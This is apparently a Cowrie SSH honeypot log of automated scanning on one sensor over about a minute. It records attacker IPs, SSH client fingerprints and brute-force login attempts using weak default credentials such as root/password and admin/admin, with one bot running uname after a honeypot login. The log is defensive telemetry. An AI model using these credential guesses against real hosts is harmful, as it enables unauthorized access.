{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:04:50.392016Z","src_ip":"165.154.137.186","session":"1e16fc340697","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:04:50.394586Z","src_ip":"165.154.137.186","session":"1e16fc340697","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:04:50.666272Z","src_ip":"165.154.137.186","session":"1e16fc340697","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:04:50.669728Z","src_ip":"165.154.137.186","session":"1e16fc340697","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.199.80","src_port":10126,"dst_ip":"159.203.135.109","dst_port":22,"session":"78fed24acfb3","protocol":"ssh","message":"New connection: 147.45.199.80:10126 (159.203.135.109:22) [session: 78fed24acfb3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:04:51.050972Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:04:51.055218Z","src_ip":"147.45.199.80","session":"78fed24acfb3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:04:51.159629Z","src_ip":"147.45.199.80","session":"78fed24acfb3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"dbrekmrf","message":"login attempt [root/dbrekmrf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:04:51.476601Z","src_ip":"147.45.199.80","session":"78fed24acfb3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:04:52.582213Z","src_ip":"147.45.199.80","session":"78fed24acfb3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":23.93130898475647,"message":"Connection lost after 23 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:04:52.856488Z","src_ip":"170.64.224.25","session":"d206c4eabc05","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:04:53.220469Z","src_ip":"8.210.75.243","session":"d2cfa33b993d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":35826,"dst_ip":"10.17.0.5","dst_port":22,"session":"a446935a56da","protocol":"ssh","message":"New connection: 165.154.137.186:35826 (10.17.0.5:22) [session: a446935a56da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:05:10.060342Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:05:10.063397Z","src_ip":"165.154.137.186","session":"a446935a56da","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:05:10.320491Z","src_ip":"165.154.137.186","session":"a446935a56da","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.36.111.155","src_port":34286,"dst_ip":"10.17.0.5","dst_port":22,"session":"2e6e9ebf6d06","protocol":"ssh","message":"New connection: 101.36.111.155:34286 (10.17.0.5:22) [session: 2e6e9ebf6d06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:05:10.646179Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:05:10.650361Z","src_ip":"101.36.111.155","session":"2e6e9ebf6d06","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:05:10.867336Z","src_ip":"101.36.111.155","session":"2e6e9ebf6d06","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:05:11.094030Z","src_ip":"165.154.137.186","session":"a446935a56da","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:05:11.646140Z","src_ip":"165.154.137.186","session":"a446935a56da","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:05:11.648995Z","src_ip":"165.154.137.186","session":"a446935a56da","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root82","message":"login attempt [root/root82] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:05:11.767447Z","src_ip":"101.36.111.155","session":"2e6e9ebf6d06","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:05:11.911946Z","src_ip":"165.154.137.186","session":"a446935a56da","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:05:11.915925Z","src_ip":"165.154.137.186","session":"a446935a56da","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:05:12.987389Z","src_ip":"101.36.111.155","session":"2e6e9ebf6d06","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":57088,"dst_ip":"10.17.0.5","dst_port":22,"session":"83c1f74745b0","protocol":"ssh","message":"New connection: 165.154.137.186:57088 (10.17.0.5:22) [session: 83c1f74745b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:05:14.012748Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:05:14.017177Z","src_ip":"165.154.137.186","session":"83c1f74745b0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:05:14.267399Z","src_ip":"165.154.137.186","session":"83c1f74745b0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"password","message":"login attempt [root/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:05:15.134660Z","src_ip":"165.154.137.186","session":"83c1f74745b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:05:16.389097Z","src_ip":"165.154.137.186","session":"83c1f74745b0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":53668,"dst_ip":"10.17.0.5","dst_port":22,"session":"4adf05c26d78","protocol":"ssh","message":"New connection: 8.210.75.243:53668 (10.17.0.5:22) [session: 4adf05c26d78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:05:23.359682Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:05:23.362507Z","src_ip":"8.210.75.243","session":"4adf05c26d78","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.209","src_port":41586,"dst_ip":"10.17.0.5","dst_port":22,"session":"c34ddc02d9f1","protocol":"ssh","message":"New connection: 2.57.122.209:41586 (10.17.0.5:22) [session: c34ddc02d9f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:05:26.973466Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:05:27.467473Z","src_ip":"2.57.122.209","session":"c34ddc02d9f1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:05:27.469360Z","src_ip":"2.57.122.209","session":"c34ddc02d9f1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"123qwerty","message":"login attempt [admin/123qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:05:29.615129Z","src_ip":"2.57.122.209","session":"c34ddc02d9f1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":33900,"dst_ip":"10.17.0.5","dst_port":22,"session":"15cf4a850c0f","protocol":"ssh","message":"New connection: 165.154.137.186:33900 (10.17.0.5:22) [session: 15cf4a850c0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:05:30.091836Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:05:30.098293Z","src_ip":"165.154.137.186","session":"15cf4a850c0f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:05:30.352830Z","src_ip":"165.154.137.186","session":"15cf4a850c0f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":57116,"dst_ip":"10.17.0.5","dst_port":22,"session":"7c7f4e346d16","protocol":"ssh","message":"New connection: 165.154.137.186:57116 (10.17.0.5:22) [session: 7c7f4e346d16]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:05:30.373454Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:05:30.377099Z","src_ip":"165.154.137.186","session":"7c7f4e346d16","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:05:30.652279Z","src_ip":"165.154.137.186","session":"7c7f4e346d16","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.0","message":"Connection lost after 4.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:05:30.951246Z","src_ip":"2.57.122.209","session":"c34ddc02d9f1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssw0rd","message":"login attempt [root/P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:05:31.125069Z","src_ip":"165.154.137.186","session":"15cf4a850c0f","protocol":"ssh"}
